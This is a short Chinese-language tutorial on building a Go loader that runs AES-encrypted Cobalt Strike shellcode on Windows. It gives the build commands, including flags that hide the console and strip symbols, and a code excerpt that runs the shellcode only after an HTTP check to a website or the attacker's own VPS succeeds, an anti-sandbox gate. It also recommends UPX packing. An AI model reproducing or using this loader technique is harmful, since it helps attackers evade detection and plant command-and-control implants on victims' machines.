运行Aes.go

go run Aes.go

第一个参数是AES加密后的shellcode，第二个参数是加密密钥，这两个参数待会都会用到
在同目录下编译main.go

go build -trimpath -ldflags="-w -s -H=windowsgui" -o main.exe main.go

运行mian.exe 分别填写上一步生成的两个参数，注意空格 CobaltStrike上线 PS：

1. 这里采用的是根据网页状态码判断是否执行shellcode，当然这里的url也可以换成自己的VPS网址

func main() {
	resp, _ := http.Get("http://www.baidu.com")
	defer resp.Body.Close()
	if resp.StatusCode == 200 {
		if len(os.Args) == 3 {
			AesBuild(os.Args[1], []byte(os.Args[2]))
		}
	}
}

2. 两个文件编译后大概4M，用UPX压缩一下后，可以达到1.5M
